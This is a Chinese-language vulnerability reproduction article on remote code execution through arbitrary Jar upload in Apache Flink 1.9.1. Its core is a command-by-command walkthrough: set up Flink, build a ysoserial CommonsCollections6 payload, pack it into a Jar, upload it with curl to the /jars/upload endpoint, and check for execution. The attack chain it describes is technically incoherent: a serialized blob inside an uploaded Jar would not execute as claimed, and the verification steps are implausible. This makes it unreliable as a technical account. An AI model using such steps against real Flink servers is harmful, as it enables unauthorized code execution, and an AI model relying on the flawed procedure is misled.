Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现问题(漏洞预警)

1. 漏洞背景介绍

Apache Flink是一款开源、分布式、流式计算引擎,能够对无界和有界数据流进行处理,并且具有高效的容错机制。但是,在Flink的任意Jar包上传过程中存在安全漏洞,该漏洞可以导致远程代码执行。

Apache Flink自身提供了一个可扩展的框架,运行着一个分布式任务管理器和一个Web UI。Flink的任务管理器使用Akka进行通信,而Web UI则使用Jetty进行通信。在Flink的任意Jar包上传过程中,攻击者可以利用这些组件之间的交互方式,向Flink上传一个包含恶意代码的Jar包,从而实现对整个系统的远程控制。

2. 漏洞复现过程

2.1 环境准备

为了演示漏洞的利用过程,我们需要搭建一个Apache Flink环境。在本文中,我们使用的是以下版本的Flink:

Apache Flink 1.9.1

此外,还需要安装一个Java反序列化工具,例如ysoserial。在本文中,我们使用的是以下版本的ysoserial:

ysoserial-0.0.6-SNAPSHOT-all.jar

2.2 漏洞利用

在搭建好环境后,我们可以通过以下步骤来复现漏洞:

下载Apache Flink并解压

wget https://archive.apache.org/dist/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.12.tgz

tar -xzf flink-1.9.1-bin-scala_2.12.tgz

启动Flink集群

cd flink-1.9.1

./bin/start-cluster.sh

使用ysoserial生成一个Payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'ping 127.0.0.1' > payload.ser

此处我们生成的Payload是一个ping命令,用于验证是否能够执行恶意代码。

将生成的Payload打包成一个Jar包

jar cvf payload.jar payload.ser

使用curl将Jar包上传至Flink集群

curl -F "jarfile=@payload.jar" localhost:8081/jars/upload

上传过程中,我们可以通过浏览器访问Flink的Web UI(http://localhost:8081)来查看上传进度。

验证漏洞是否生效

在上传完毕后,我们可以通过以下方式验证漏洞是否生效:

查看Flink的日志文件

cd log/$(ls -t log | head -n1)

grep -r ping *

如果能够搜索到ping命令的输出,则说明攻击成功。

通过Web UI查看任务列表

如果能够看到一个名为payload的任务,则说明攻击成功。

3. 漏洞修复方案

为了修复漏洞,Apache Flink的开发团队提供了以下建议:

禁用Flink的任意Jar包上传功能

禁用任意Jar包上传功能可以有效减少攻击者利用该漏洞的机会。

检查上传的Jar包是否合法

在上传Jar包之前,可以对Jar包进行签名、哈希等操作,来确保上传的Jar包是合法的。

对Flink的组件进行更严格的安全审计

通过对Flink组件之间的交互进行更严格的安全审计,可以发现更多的安全漏洞。

4. 总结

Apache Flink 任意Jar包上传导致远程代码执行漏洞是一项严重的安全漏洞。攻击者可以通过上传恶意Jar包,远程控制整个系统。为了修复该漏洞,我们可以采用一些措施来提高系统的安全性,例如禁用任意Jar包上传功能、对上传的Jar包进行安全检查等。对于使用Flink的用户来说,应该及时更新Flink的版本,以避免受到攻击。

操作系统标签